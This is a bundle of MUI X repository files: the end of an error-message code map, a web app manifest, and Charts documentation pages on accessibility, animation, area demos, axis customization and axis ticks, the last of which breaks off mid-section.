  "274": "MUI X Scheduler: TimelineGridHeader.iterate() produced more than 10,000 cells for unit \"%s\" over a range ticked in \"%s\". This usually means the preset's `unitCount`/`timeResolution` span an unreasonably large period. Reduce `unitCount` or pick a coarser `timeResolution`.",
  "275": "MUI X Scheduler: `dataSource.persistEvents` returned `{ success: false }`, so the cache was not updated and the UI is now out of sync with your data source. To surface a specific message to the user, throw a descriptive Error from `persistEvents` instead. See the `persistEvents` contract at https://mui.com/x/react-scheduler/event-calendar/lazy-loading/ (EventCalendar) or https://mui.com/x/react-scheduler/event-timeline/lazy-loading/ (EventTimeline).",
  "276": "MUI X Charts: %s series with id=\"%s\" has no data. The chart cannot render this series without data. Provide a data property to the series or use the dataset prop.",
  "277": "MUI X Scheduler: adapter.getDayOfWeek returned an unexpected value (%s). Expected an integer in the range 1–7. Check that your adapter implements getDayOfWeek correctly.",
  "278": "MUI X Scheduler: weekStartsOn must be an integer between 0 (Sunday) and 6 (Saturday), but received %s.",
  "279": "MUI X Charts: %s series with id=\"%s\" has incomplete datasetKeys.Properties %s are missing.",
  "280": "MUI X Scheduler: <TimelineGrid.TitleRow /> and <TimelineGrid.EventRow /> must be rendered inside a <TimelineGrid.BodyRow />.",
  "281": "MUI X Scheduler: EventTimelinePremiumVirtualizerContext is missing. Make sure the calling component is rendered inside <EventTimelinePremiumContent />.",
  "282": "MUI X Scheduler: The timeline encountered an error while retrieving resources. This is likely a bug in MUI X. Please contact MUI support with details about your configuration and data.",
  "283": "MUI X Scheduler: TitleColumnWidthProvider is missing.",
  "284": "MUI X Data Grid: Nested lazy loading does not support unknown children count for now.\nIf this is a use-case that you are interested in, please open an issue: https://github.com/mui/mui-x/issues/new?template=2.feature.yml",
  "285": "MUI X Data Grid: Row count is unknown. Please provide a valid row count for lazy loading to work.",
  "286": "MUI X Scheduler: useSharedComponentsStyledContext must be used within a SharedComponentsStyledContext.Provider. The shared internal components require the product to inject their utility classes. Ensure the component is rendered inside an EventCalendar, EventCalendarPremium, or EventTimelinePremium component, a standalone view, or another component that provides SharedComponentsStyledContext.",
  "287": "MUI X Scheduler: The date \"%s\"%s is not a valid date.\nInvalid dates produce a NaN timestamp that silently breaks sorting, positioning, and overlap calculations.\nProvide a valid ISO 8601 date string (for example \"2025-01-01T09:00:00\" or \"2025-01-01T09:00:00Z\").",
  "288": "MUI X: useDisposable failed to detect React StrictMode.\nThe instance was disposed on StrictMode's simulated unmount and is about to be reused while torn down.\nThis is an internal invariant violation — please report it at https://github.com/mui/mui-x/issues.",
  "289": "MUI X Chat docs-correctness guard: could not load entry point %s (%s). The export surface cannot be enumerated.",
  "290": "MUI X Chat docs-correctness guard: %s has no module symbol (%s); it may be missing exports.",
  "291": "MUI X Scheduler: All events must have a unique `id`.\nWithout an `id`, an event cannot be tracked and silently overwrites another event in the calendar state.\nAdd an `id` to every event, or set `eventModelStructure.id.getter` to derive one from your event model.\nAn event was provided without an `id`:\n%s",
  "292": "MUI X Scheduler: Invalid FREQ value \"%s\". The frequency must be one of DAILY, WEEKLY, MONTHLY, or YEARLY. Provide a supported frequency value.",
  "293": "MUI X Scheduler: The recurrence rule must include a FREQ value. The frequency (DAILY, WEEKLY, MONTHLY, or YEARLY) is required for recurrence rules. Provide a freq value.",
  "294": "MUI X Charts: Series \"%s\" has a duplicated name \"%s\".\nMap shapes are identified by their name, so duplicates cannot be told apart for coloring, tooltips, and highlighting.\nEnsure each data entry has a unique name.",
  "295": "MUI X Tree View: Unable to add items to the parent with id \"%s\" because it is not present in the tree. Pass the id of an existing item, or `null` to add the items at the root level.",
  "296": "MUI X Tree View: Unable to add items at index \"%s\" because it is out of range. The index must be between 0 and the amount of children of the parent item (%s).",
  "297": "MUI X Scheduler: The component must be rendered inside the event dialog form. The draft form values only exist while the dialog is open. Render the component through the `eventDialogGeneralTab` slot.",
  "298": "MUI X Scheduler: `EventEditingContext` is missing. Hook must be placed within its Provider.",
  "299": "MUI X Scheduler: `MoreEventsPopoverContext` is missing. Hook must be placed within its Provider.",
  "300": "MUI X Data Grid: The column \"%s\" does not allow formulas. Writing a formula to it would store a string rendered as-is instead of an evaluated value. Set `allowFormulas: true` on the column definition. See https://mui.com/x/react-data-grid/formulas/.",
  "301": "MUI X Data Grid: `setCellFormula()` expects a formula source starting with `=`, for example `=price * quantity`. Other values would not be recognized as formulas. To store a plain value, use `updateRows()` instead.",
  "302": "MUI X Data Grid: The formula function name \"%s\" is reserved by the formula syntax. Registering it would make the function unreachable in formulas. Rename the custom function to a non-reserved name.",
  "303": "MUI X Data Grid: \"%s\" is not a valid formula function name. The formula parser can never produce a call to it, which would make the function unreachable in formulas. Function names must start with a letter or underscore and contain only letters, digits, and underscores.",
  "304": "MUI X Data Grid: A row update with `_action: 'replace'` was provided without a `row` property.\nWithout it, the Data Grid does not know which object to store for that row.\nProvide the replacement object in the `row` property, for example `updateRows([{ _action: 'replace', row }])`.\nFor more detail, see https://mui.com/x/react-data-grid/row-updates/.",
  "305": "MUI X Charts: The Content Security Policy blocked the styles copied to the export document.\nThe chart cannot be exported because the export process needs to read those styles.\nSet the `nonce` export option to the nonce used by your Content Security Policy, or set the `copyStyles` export option to `false` to export the chart without the page styles.\nA policy that allows styles by hash instead of by nonce always blocks them, because the export rebuilds the styles from the page rules and their hashes no longer match, so `copyStyles` is the only option there.\nSee https://mui.com/x/react-charts/content-security-policy/ for more details.",
  "306": "MUI X Charts: Failed to render the chart as an image.\nThe chart is drawn through an image with a `data:` or `blob:` URL, so a Content Security Policy needs `img-src 'self' data: blob:`.\nSee https://mui.com/x/react-charts/content-security-policy/ for more details.",
  "307": "Base UI Plus: `BaseTemporal.PlainDate.prototype.add()` received %s, which isn't a duration. `add()` can't read years, months, weeks or days from it. Pass an object such as `{ months: 1, days: 2 }`. Duration strings such as `\"P1M\"` are not supported.",
  "308": "Base UI Plus: `BaseTemporal.PlainDate.prototype.add()` received %s as the %s of a duration, which isn't an integer. A duration moves a date by whole units. Pass integers, such as `{ months: 1 }`.",
  "309": "Base UI Plus: `BaseTemporal.PlainDate.prototype.add()` received a duration without years, months, weeks or days. `add()` can't tell how far to move the date. Pass at least one of these units, such as `{ days: 1 }`.",
  "310": "Base UI Plus: `BaseTemporal.PlainDate.prototype.add()` received a duration with time units. A date has no time, and `add()` doesn't turn time units into days. Pass whole days instead, such as `{ days: 2 }` for 48 hours.",
  "311": "Base UI Plus: `BaseTemporal.PlainDate.prototype.add()` received a duration with positive and negative units. A duration moves a date in a single direction. Pass units with the same sign, or call `add()` once per direction.",
  "312": "Base UI Plus: `BaseTemporal.PlainDate.prototype.add()` moved a date of the month %s to the year %s, which doesn't have this month. The `overflow: 'reject'` option forbids moving the date to another month. Pass `overflow: 'constrain'` to use the month that replaces it.",
  "313": "Base UI Plus: `BaseTemporal.PlainDate.prototype.add()` moved the day %s to a month of %s days. The `overflow: 'reject'` option forbids moving the date to the last day of the month. Pass `overflow: 'constrain'` to use the last day of the month.",
  "314": "Base UI Plus: `BaseTemporal.%s` received %s, which isn't an object of date fields. `with()` replaces the date fields of an object, and keeps the calendar of the date, so it rejects temporal values and objects with a calendar or a time zone. Pass the fields to replace, such as `{ day: 1 }`, and call `withCalendar()` to change the calendar.",
  "315": "Base UI Plus: `BaseTemporal.%s` received no date field the calendar of the date reads. `with()` can't tell which fields to replace. Pass at least one of `year`, `month`, `monthCode` and `day`, or `era` and `eraYear` outside the ISO calendar.",
  "316": "Base UI Plus: A calendar received %s where it expects a `PlainDate`. The calendar reads the year, the month and the day of each date, so it can't use this one. Create dates with `BaseTemporal.PlainDate.from()`. A Server Component sends a `PlainDate` to the client as its string: pass that string to `from()` in a Client Component.",
  "317": "Base UI Plus: `BaseTemporal.PlainDate.from()` received %s, which isn't an existing date in the `YYYY-MM-DD` format. Other ISO 8601 forms, such as times, offsets, time zone annotations or 6-digit years, are not supported. Pass a date such as `'2024-05-24'`, optionally followed by a calendar annotation such as `'[u-ca=hebrew]'`.",
  "318": "Base UI Plus: `BaseTemporal.PlainDate.from()` received %s, which isn't a date. `from()` can't read a year, a month and a day from it. Pass a `PlainDate`, an object such as `{ year: 2024, month: 5, day: 24 }`, or a string such as `'2024-05-24'`.",
  "319": "Base UI Plus: `BaseTemporal.%s` received date fields that %s. The fields don't name a single date of the calendar. Pass a year (or an era and a year of era), a month (or a month code) and a day that exist in the calendar.",
  "320": "Base UI Plus: `BaseTemporal.%s` received an object without %s. A date can't be built without its year, month and day. Pass an object such as `{ year: 2024, month: 5, day: 24 }`, with an era and a year of era together in place of the year if needed.",
  "321": "Base UI Plus: `PlainDate` received the year %s, the month %s and the day %s, which don't name a supported date. The year must be from 0 to 9999, the month from 1 to 12, and the day must exist in the month. Pass a valid date, or create it with `BaseTemporal.PlainDate.from()` and an object to move a month or a day above its range to the closest valid value.",
  "322": "Base UI Plus: A temporal value received %s as its calendar, which isn't a string. Calendars are identified by their name. Pass a calendar identifier such as `'iso8601'`, `'gregory'` or `'hebrew'`.",
  "323": "Base UI Plus: The \"%s\" calendar isn't supported. Base UI Plus has no arithmetic for it, so it cannot create or display its dates. Use `iso8601`, `gregory`, or one of the calendars listed in the documentation.",
  "324": "Base UI Plus: The \"%s\" calendar isn't registered. Only the ISO and Gregorian calendars are built in, so other calendars stay out of the bundles that don't use them. Pass `%sCalendar` to `registerCalendar()`, both from `@base-ui/plus/calendar-systems`, before creating or displaying its dates.",
  "325": "Base UI Plus: `registerCalendar()` received %s, which isn't a calendar of `@base-ui/plus/calendar-systems`. Base UI Plus only registers the calendars it implements. Pass a calendar such as `hebrewCalendar` from `'@base-ui/plus/calendar-systems'`.",
  "326": "Base UI Plus: `registerCalendar()` received a second implementation of the \"%s\" calendar. Two implementations could give different dates for the same values, so the first registration stays. Make sure a single copy of `@base-ui/plus` is installed, and register each calendar once.",
  "327": "Base UI Plus: A date of the \"%s\" calendar is outside the days it supports, from the ISO date %s-%s-%s to %s-%s-%s. Outside these days, `Intl.DateTimeFormat` doesn't label dates as Base UI Plus computes them, or the ISO year is outside 0 to 9999. Use a date inside the range.",
  "328": "Base UI Plus: A temporal value received %s as the %s, which isn't a finite number. A temporal value cannot represent a non-finite field. Pass finite numbers for its date and time fields.",
  "329": "Base UI Plus: The options of `BaseTemporal.%s` are %s, which isn't an object. The method can't read the `overflow` option from them. Pass an object such as `{ overflow: 'reject' }`, or no options.",
  "330": "Base UI Plus: The `overflow` option of `BaseTemporal.%s` is %s, which isn't supported. The method can't tell whether to adjust or reject a field above its range. Pass `'constrain'` or `'reject'`.",
  "331": "Base UI Plus: A `%s` was converted to a primitive value, for example by `<`, `>` or `+`. Comparing or adding temporal values this way gives meaningless results, so it isn't allowed. Use the static `compare()` method or `equals()` to compare them, and `toString()` to get them as a string."
}

---

### Public Static Manifest.Json (`docs/public/static/manifest.json`)

{
  "name": "MUI",
  "short_name": "MUI",
  "display": "minimal-ui",
  "start_url": "/",
  "theme_color": "#007FFF",
  "background_color": "#ffffff",
  "icons": [
    {
      "src": "/static/icons/48x48.png",
      "sizes": "48x48"
    },
    {
      "src": "/static/icons/96x96.png",
      "sizes": "96x96"
    },
    {
      "src": "/static/icons/192x192.png",
      "sizes": "192x192"
    },
    {
      "src": "/static/icons/256x256.png",
      "sizes": "256x256"
    },
    {
      "src": "/static/icons/384x384.png",
      "sizes": "384x384"
    },
    {
      "src": "/static/icons/512x512.png",
      "sizes": "512x512"
    }
  ]
}

---

### Data Charts Accessibility Accessibility (`docs/data/charts/accessibility/accessibility.md`)

---
productId: x-charts
title: Charts - Accessibility
packageName: '@mui/x-charts'
---

# Charts - Accessibility

<p class="description">Learn how the Charts implement accessibility features and guidelines, including keyboard navigation that follows international standards.</p>

:::info
A common misconception about accessibility is to only consider blind people and the screen reader.
But there are other disability to consider, like:

- **Color blindness**, making it hard to distinguish different series, or low contrast elements.
- **Motion disability**, making it hard to open the tooltip on a given item.
- **Cognitive disability**, making it hard to focus your attention on some details.
- **Vestibular dysfunction**, making you uncomfortable with animations.

:::

## Guidelines

Common conformance guidelines for accessibility include:

- Globally accepted standard: [WCAG](https://www.w3.org/WAI/standards-guidelines/wcag/)
- US:
  - [ADA](https://www.ada.gov/) - US Department of Justice
  - [Section 508](https://www.section508.gov/) - US federal agencies
- Europe: [EAA](https://commission.europa.eu/strategy-and-policy/policies/justice-and-fundamental-rights/disability/european-accessibility-act-eaa_en) (European Accessibility Act)

[WCAG 2.2](https://www.w3.org/TR/WCAG22/) has three levels of conformance: A, AA, and AAA.
Level AA exceeds the basic criteria for accessibility and is a common target for most organizations, so this is what this library aims to support.

The WAI-ARIA Authoring Practices includes examples on [Tooltip](https://www.w3.org/WAI/ARIA/apg/patterns/tooltip/).

## Animation

Some charts have animations when rendering or when data updates.
For users with vestibular motion disorders those animations can be problematic.
By default animations are toggled based on the [`prefers-reduced-motion`](https://developer.mozilla.org/en-US/docs/Web/CSS/Reference/At-rules/@media/prefers-reduced-motion) media feature.

## Keyboard support

:::warning
This feature is under development.
The way keyboard interaction is visualized will evolve.

For example the element highlight, or tooltip will be impacted by the feature.
Those modifications will not be considered as breaking changes and so be added during minor or patch versions.
:::

The keyboard navigation is enabled by default on all charts.
You can disable it by setting `disableKeyboardNavigation` to `true`.
You can also disable it globally using [theme default props](/material-ui/customization/theme-components/#theme-default-props)

```js
components: {
  MuiChartsDataProvider: {
    defaultProps: {
      disableKeyboardNavigation: true
    },
  },
}
```

{{"demo": "KeyboardNavigation.js"}}

This feature is currently supported by the following charts: line, bar, pie, scatter, sparkline, funnel, radar, heatmap, sankey, map, radial bar, radial line, and range bar.

This makes the SVG component focusable thanks to [`tabIndex`](https://developer.mozilla.org/en-US/docs/Web/HTML/Reference/Global_attributes/tabindex).
When focused, the chart highlights a value item that can be modified with arrow navigation.

:::info
The key assignments in the table below apply to Windows and Linux users.

On macOS replace:

- <kbd class="key">Ctrl</kbd> with <kbd class="key">⌘ Command</kbd>
- <kbd class="key">Alt</kbd> with <kbd class="key">⌥ Option</kbd>

Some devices may lack certain keys, requiring the use of key combinations. In this case, replace:

- <kbd class="key">Page Up</kbd> with <kbd><kbd class="key">Fn</kbd>+<kbd class="key">Arrow Up</kbd></kbd>
- <kbd class="key">Page Down</kbd> with <kbd><kbd class="key">Fn</kbd>+<kbd class="key">Arrow Down</kbd></kbd>
- <kbd class="key">Home</kbd> with <kbd><kbd class="key">Fn</kbd>+<kbd class="key">Arrow Left</kbd></kbd>
- <kbd class="key">End</kbd> with <kbd><kbd class="key">Fn</kbd>+<kbd class="key">Arrow Right</kbd></kbd>

:::

|                                                                  Keys | Description                                                |
| --------------------------------------------------------------------: | :--------------------------------------------------------- |
| <kbd class="key">Arrow Left</kbd>, <kbd class="key">Arrow Right</kbd> | Moves focus inside the series                              |
|    <kbd class="key">Arrow Up</kbd>, <kbd class="key">Arrow Down</kbd> | Move focus between series                                  |
|               <kbd class="key">Home</kbd>, <kbd class="key">End</kbd> | Moves focus to the first/last item of the series           |
|    <kbd><kbd class="key">Ctrl</kbd>+<kbd class="key">Home</kbd></kbd> | Moves focus to the first item of the first series          |
|     <kbd><kbd class="key">Ctrl</kbd>+<kbd class="key">End</kbd></kbd> | Moves focus to the last item of the last series            |
|                                        <kbd class="key">Page Up</kbd> | Moves focus to the first series, keeping the item position |
|                                      <kbd class="key">Page Down</kbd> | Moves focus to the last series, keeping the item position  |

### Start from a clicked item

Clicking an item makes it the item keyboard navigation resumes from, so users can jump straight to a distant data point instead of tabbing into the chart and pressing an arrow key repeatedly.
Screen readers announce the clicked item right away.

A click that lands on no item is resolved from the axis under the pointer, so clicking the empty space above a bar still focuses that bar's column.
The item is taken from the series being navigated, or from the first series when none is focused yet.
Clicks that resolve to no item at all are ignored, so clicking next to a pie leaves the focus where it was.

How the focus indicator behaves depends on how the user got there:

- If the chart was not being navigated with the keyboard, the click gives the chart focus but the indicator stays hidden. It appears on the next key press, on the item next to the one clicked.
- If the focus indicator is already visible, the click moves it to the clicked item and keeps it visible.

Set `focusItemOnClick` to show the indicator immediately on every click:

```jsx
<BarChart focusItemOnClick series={series} />
```

It can also be set globally using [theme default props](/material-ui/customization/theme-components/#theme-default-props):

```js
components: {
  MuiChartsDataProvider: {
    defaultProps: {
      focusItemOnClick: true
    },
  },
}
```

### Zooming and panning [<span class="plan-pro"></span>](/x/introduction/licensing/#pro-plan 'Pro plan')

Charts with zoom enabled accept keyboard zoom and pan, so a keyboard-only user can reach the data outside the visible window.

While the chart is focused, <kbd class="key">+</kbd> and <kbd class="key">-</kbd> zoom, <kbd class="key">0</kbd> resets the zoom, and <kbd class="key">Shift</kbd>+ arrow keys pan.
The arrow keys keep moving the focus between items when pressed without <kbd class="key">Shift</kbd>.
The visible range is announced in a live region each time it changes from the keyboard.

See [Keyboard zoom and pan](/x/react-charts/zoom-and-pan/#keyboard-zoom-and-pan) for the complete list of keys and the interaction configuration.

### Activating the focused item

Charts can trigger their click callbacks from the keyboard, so mouse-only interactions such as drill-down or filtering stay available to keyboard users ([WCAG 2.1 SC 2.1.1](https://www.w3.org/WAI/WCAG21/Understanding/keyboard.html)).

It is opt-in on every chart, so existing callbacks keep receiving pointer events only:

```jsx
<BarChart
  experimentalFeatures={{ keyboardActivation: true }}
  onItemClick={(event, item) => {}}
  onAxisClick={(event, data) => {}}
  {...otherProps}
/>
```

Pressing <kbd class="key">Enter</kbd> or <kbd class="key">Space</kbd> on the focused item then calls `onItemClick` and `onAxisClick` with the same payload a click provides.

The `event` argument is the `KeyboardEvent` that triggered the activation.
The callback types keep describing the pointer event to avoid a breaking change, so opt into the wider type with a module augmentation:

```ts
import type {} from '@mui/x-charts/moduleAugmentation/keyboardActivation';
```

The click callbacks then receive `MouseEvent | KeyboardEvent`, and you can narrow with `event instanceof KeyboardEvent` before reading pointer-only properties such as `clientX`.
Both become the default in v10.

{{"demo": "KeyboardActivation.js"}}

When a chart exposes several item callbacks, activation fires the one a pointer would reach first on the focused data point: line charts try `onMarkClick`, then `onLineClick`, then `onAreaClick`; radar charts try `onMarkClick`, then `onAreaClick`; and Sankey charts call `onNodeClick` or `onLinkClick` depending on the focused element. Only one of them fires.

Activation acts on the visible focus indicator.
A click sets the item keyboard navigation resumes from without revealing it, so <kbd class="key">Enter</kbd> and <kbd class="key">Space</kbd> do nothing until a key press makes the focus visible.

## Screen reader compatibility

Charts use a proxy strategy to support screen reader when user navigate with keyboard navigation.

The description of the focused element is localized.
You can customize it by using [localization key](/x/react-charts/localization/#localize-text).
The `[type]Description` localization keys are functions for a given series type, for example, `pieDescription` for pie charts.
These functions receives values related to the focused item, and should return the description to display.

### Composition

The focus highlight is done with a dedicated SVG element.
When using composition, you've to add this component to make the focus visible.

Each series type has its own component:

```js
import { FocusedBar } from '@mui/x-charts/BarChart';
import { FocusedPieArc } from '@mui/x-charts/PieChart';
import { FocusedLineMark } from '@mui/x-charts/LineChart';
import { FocusedScatterMark } from '@mui/x-charts/ScatterChart';
import { FocusedRadarMark } from '@mui/x-charts/RadarChart';
import { FocusedHeatmapCell } from '@mui/x-charts-pro/Heatmap';
import { FocusedFunnelSection } from '@mui/x-charts-pro/FunnelChart';
import { FocusedSankeyLink, FocusedSankeyNode } from '@mui/x-charts-pro/SankeyChart';
```

### Custom components

Click-to-focus reads the item the pointer is over, which every series already reports for the tooltip and the highlight.
A custom component rendered through a slot inherits that for free, as long as it forwards the interaction props to the rendered element:

```jsx
function CustomMarker({
  x,
  y,
  color,
  seriesId,
  dataIndex,
  isHighlighted,
  isFaded,
  ...other
}) {
  // `other` carries the pointer handlers that report the item.
  return (
    <path d={shape} transform={`translate(${x}, ${y})`} fill={color} {...other} />
  );
}
```

When building a plot from scratch rather than through a slot, `useInteractionItemProps` returns those handlers for an item:

```jsx
import { useInteractionItemProps } from '@mui/x-charts/internals';

function CustomPlotItem({ seriesId, dataIndex }) {
  return <rect {...useInteractionItemProps({ type: 'bar', seriesId, dataIndex })} />;
}
```

---

### Data Charts Animation Animation (`docs/data/charts/animation/animation.md`)

---
title: Charts - Animation
productId: x-charts
---

# Charts - Animation

<p class="description">Learn how to customize both CSS and JavaScript-based Chart animations.</p>

Some elements of the MUI X Charts are animated by default.
For example, the bars in a Bar Chart rise from the axis, and the slices in a Pie Chart expand to fill the circle.

These animations are primarily built with CSS, but some use JavaScript-based React hooks as well.
You can use these hooks to animate other elements of the Charts that aren't animated by default, or to add animations to your own custom components.

To customize Chart animations, you may need to override CSS classes or implement the custom hooks provided, depending on your specific use case.

## Customizing CSS animations

You can override the default CSS classes to customize CSS-based animations.
The demo below shows how you can increase the label's animation duration to two seconds:

{{"demo": "CSSAnimationCustomization.js"}}

## Customizing JavaScript animations

To override JavaScript-based animations—or to use the Chart animations in custom components—you can use the custom animation hooks.

The Charts package provides the following animation hooks:

- `useAnimateArea()`
- `useAnimateBar()`
- `useAnimateBarLabel()`
- `useAnimateLine()`
- `useAnimatePieArc()`
- `useAnimatePieArcLabel()`

The demo below illustrates how to use these hooks by animating the bar labels to match the bar animation—click **Run Animation** to see it in action:

{{"demo": "JSDefaultAnimation.js"}}

### The useAnimate() hook

For more fine-grained animation customization, you can use the `useAnimate(props, params)` hook.
This hook returns a ref as well as props to pass to the animated element.
Each time the `props` params are updated, the hook creates an interpolation from the previous value to the next one.
As each animation frame loads, it calls this interpolator to get the intermediate state and applies the result to the animated element.
(The attribute update is imperative to bypass the React lifecycle for improved performance.)

With `params` you can define the following properties:

- `skip`: If `true`, apply the new value immediately
- `ref`: A ref to merge with the ref returned from this hook
- `initialProps`: The props used to generate the animation of component creation; if none are provided, there is no initial animation
- `createInterpolator()`: Create an interpolation function from the last to the next props
- `transformProps()`: Optionally transform interpolated props to another format
- `applyProps()`: Apply transformed props to the element

You can find more detailed explanations in the hook's JSDoc.

In the example below, labels are positioned above the bars they refer to and are animated with the `useAnimate()` hook:

{{"demo": "JSAnimationCustomization.js"}}

## Third-party animation libraries

You can fully override the default Chart animations with your own (third-party) animation library.

:::warning
Third-party JavaScript animation libraries can cause performance issues, especially if you're rendering many data points or enabling interactions like zooming or highlighting.
It's essential to test the performance of your charts with your chosen animation library.
:::

### React Spring

The demo below shows how to integrate [React Spring](https://www.react-spring.dev/docs/getting-started) to add a bounce effect to the bar label animation:

{{"demo": "ReactSpringAnimationCustomization.js"}}

### Motion

The following demo uses the [Motion library](https://motion.dev/docs/react) for a fade-in effect on the points and lines in the chart:

{{"demo": "MotionAnimationCustomization.js"}}

---

### Data Charts Areas Demo Areas Demo (`docs/data/charts/areas-demo/areas-demo.md`)

---
title: Charts - Areas demos
productId: x-charts
components: LineChart, LineElement, LineHighlightElement, LineHighlightPlot, LinePlot, MarkElement, MarkPlot, AreaElement, AreaPlot
---

# Charts - Areas demos

<p class="description">This page groups demos using area charts.</p>

## SimpleAreaChart

{{"demo": "SimpleAreaChart.js"}}

## StackedAreaChart

{{"demo": "StackedAreaChart.js"}}

## TinyAreaChart

{{"demo": "TinyAreaChart.js"}}

## PercentAreaChart

{{"demo": "PercentAreaChart.js"}}

## AreaChartConnectNulls

{{"demo": "AreaChartConnectNulls.js"}}

## AreaChartFillByValue

To display multiple colors in the area you can specify a gradient to fill the area (the same method can be applied on other SVG components).

You can pass this gradient definition as a children of the `<LineChart />` and use `sx` to override the area `fill` property.
To do so you will need to use the [`<linearGradient />`](https://developer.mozilla.org/en-US/docs/Web/SVG/Reference/Element/linearGradient) and [`<stop />`](https://developer.mozilla.org/en-US/docs/Web/SVG/Reference/Element/stop) SVG elements.

The first part is to get the SVG total height.
Which can be done with the `useDrawingArea()` hook.
It's useful to define the `<linearGradient />` as a vector that goes from the top to the bottom of our SVG container.

Then to define where the gradient should switch from one color to another, you can use the `useYScale()` hook to get the y coordinate of value 0.

:::info
The `<stop />` offset is a ratio of gradient vector.
That's why you need to divide the coordinate by the SVG height.
:::

{{"demo": "AreaChartFillByValue.js"}}

---

### Data Charts Axis Customization Axis Customization (`docs/data/charts/axis-customization/axis-customization.md`)

---
title: Charts - Axis customization
productId: x-charts
components: ChartsAxis, ChartsXAxis, ChartsYAxis
---

# Charts - Axis customization

<p class="description">Customize how chart axes are rendered and styled.</p>

Beyond the axis definition, there are several other ways to further customize how axes are rendered.

## Styling axes

To target a specific axis by its ID, use the `data-axis-id` attribute as a selector.
This is useful when you have multiple axes and want to style them differently.

In the example below, the revenue axis label is styled with a teal color and the profit axis label with a blue color to match their respective series.

{{"demo": "AxisIdStyling.js"}}

## Styling grouped axes

### Tick size

You can customize the tick size for each [grouped axis](/x/react-charts/axis/#grouped-axes) by providing a `tickSize` property in the `groups` array.
The `tickSize` also affects the tick label position.
Each item in the array corresponds to a group defined in the `getValue()` function.

{{"demo": "GroupedAxesTickSize.js", "defaultCodeOpen": false}}

### Selecting groups

To target a specific group, use the `data-group-index` attribute as a selector.
The example below has a yellow tick color for the last group and blue text for the first group.

{{"demo": "GroupedAxesStyling.js", "defaultCodeOpen": false}}

## Fixing tick label overflow issues

When your tick labels are too long, they're clipped to avoid overflowing.
To reduce clipping due to overflow, you can [apply an angle to the tick labels](/x/react-charts/axis-customization/#text-customization), use [auto-sizing](/x/react-charts/axis/#auto-sizing-axes), or [increase the axis size](/x/react-charts/styling/#placement) to accommodate them.
In the demo below, the size of the x- and y-axes is modified to increase the space available for tick labels.

The first and last tick labels may bleed into the margin, and if that margin is not enough to display the label, it might be clipped.
To avoid this, you can use the `margin` prop to increase the space between the chart and the edge of the container.

{{"demo": "MarginAndLabelPosition.js"}}

## Passing props

The demo below illustrates all of the props available to customize axis rendering:

{{"demo": "AxisCustomization.js", "hideToolbar": true, "bg": "playground"}}

## Text customization

To customize the text elements (tick labels and axis labels), use the `tickLabelStyle` and `labelStyle` properties of the axis configuration.

When not set, the default values for the `textAnchor` and `dominantBaseline` properties depend on the value of the `angle` property.
You can test how these values behave and relate to one another in the demo below:

{{"demo": "AxisTextCustomization.js", "hideToolbar": true, "bg": "playground"}}

## Adding tick label icons

A `foreignObject` element can be used to render non-SVG elements inside SVGs. You can leverage this to create components that interact with the charts data. In the demo below, custom tick labels are built by displaying an icon below the text.

Bear in mind that using `foreignObject` might prevent charts from being [exported](/x/react-charts/export/).

{{"demo": "TickLabelImage.js"}}

## Custom axis rendering

You can fully customize how axis and their ticks are rendered by providing a component to the `xAxis` or `yAxis` slots.
For more information about how to create custom axes, refer to the [composition section](/x/react-charts/axis/#composition).

The same technique can move the tick labels inside the plot, as shown in [Labels on the grid](/x/react-charts/axis-ticks/#labels-on-the-grid).

{{"demo": "CustomAxisTicks.js"}}

---

### Data Charts Axis Ticks Axis Ticks (`docs/data/charts/axis-ticks/axis-ticks.md`)

---
title: Charts - Axis ticks and grid
productId: x-charts
components: ChartsAxis, ChartsGrid, ChartsXAxis, ChartsYAxis
---

# Charts - Axis ticks and grid

<p class="description">Configure axis ticks and the chart grid.</p>

## Grid

You can add a grid in the background of a Cartesian chart with the `grid` prop.
This prop accepts an object with `vertical` and `horizontal` properties that are responsible for creating their respective lines when set to `true`.

If you use composition you can pass these as props to the `<ChartsGrid />` component:

```jsx
<BarChart grid={{ vertical: true }}>

<ChartsContainer>
  <ChartsGrid vertical />
</ChartsContainer>
```

In this Demo the horizontal grid is customized with some CSS selectors.

{{"demo": "GridDemo.js", "defaultCodeOpen": false}}

### Labels on the grid

When horizontal space is limited, you can remove the y-axis and display its values on the grid lines instead.

Set the y-axis `width` to `0` so that it stops reserving space, then provide a component to the `yAxis` slot.
The `useYAxisTicks()` hook returns the ticks of an axis, and `useDrawingArea()` returns the area in which the data is drawn.
Together, they let you place one label above each grid line.

:::info
Setting `position: 'none'` also frees the space, but the axis is then removed from the chart, and the `yAxis` slot is no longer rendered.
:::

{{"demo": "GridLabels.js"}}

## Tick position

### Automatic tick position

Use the `tickNumber` property to customize the number of ticks.

:::info
This number does _not_ necessarily represent the exact number of ticks displayed.
This is because D3 automatically places ticks to optimize for human readability, and it rounds up or down from the provided `tickNumber` as needed to accomplish this.

For example, if you set `tickNumber=5` but there are only four years to display on the axis, the component renders four total ticks (one for each year) instead of trying to divide four years into five.
:::

To better control how the ticks render, you can also provide `tickMinStep` and `tickMaxStep`, which compute `tickNumber` so that the step between two ticks respects the minimum and maximum values.

In the demo below, the top axis has a `tickMinStep` of half a day, and the bottom axis has a `tickMinStep` of a full day.

{{"demo": "TickNumber.js"}}

### Tick spacing

Use the `tickSpacing` property to define the minimum spacing in pixels between two ticks.

Having a minimum space between ticks improves the readability of the axis and can also improve the chart's performance.

This property defaults to 0 and is only available for ordinal axes, that is, axes with a band or point scale.

{{"demo": "TickSpacing.js"}}

### Fixed tick position

If you want more control over the tick position, you can use the `tickInterval` property.
This property accepts an array of values that define exactly where ticks are placed.

For axes with the `'point'` scale type, the `tickInterval` property can be a filtering function of the type `(value, index) => boolean`.

In the demo below, both axes are set to `scaleType='point'`.
The top axis demonstrates the default behavior with a tick for each point.
The bottom axis uses a filtering function to only display a tick at the beginning of a day.

{{"demo": "TickPosition.js"}}

### Filtering tick labels

You can use the `tickLabelInterval` property to only display labels on a specific subset of ticks.
This is a filtering function in the `(value, index) => boolean` form.
For example, `tickLabelInterval: (value, index) => index % 2 === 0` will show the label every two ticks.

:::warning
The `value` and `index` arguments are those of the ticks, not the axis data.
:::

By default, ticks are filtered so that their labels don't overlap.
You can override this behavior with `tickLabelInterval: () => true` which forces the tick label to be shown for each tick.

In the example below, the top axis is a reference for the default behavior: tick labels don't overflow.
At the bottom, you can see one tick for the beginning and the middle of the day, but the tick label is only displayed for the beginning of the day.

{{"demo": "TickLabelPosition.js"}}

### Ordinal tick management

Ordinal scales (`'band'` and `'point'`) display one tick per item by default.
If you have a date axis, you can use the `ordinalTimeTicks` property to configure which ticks to show.

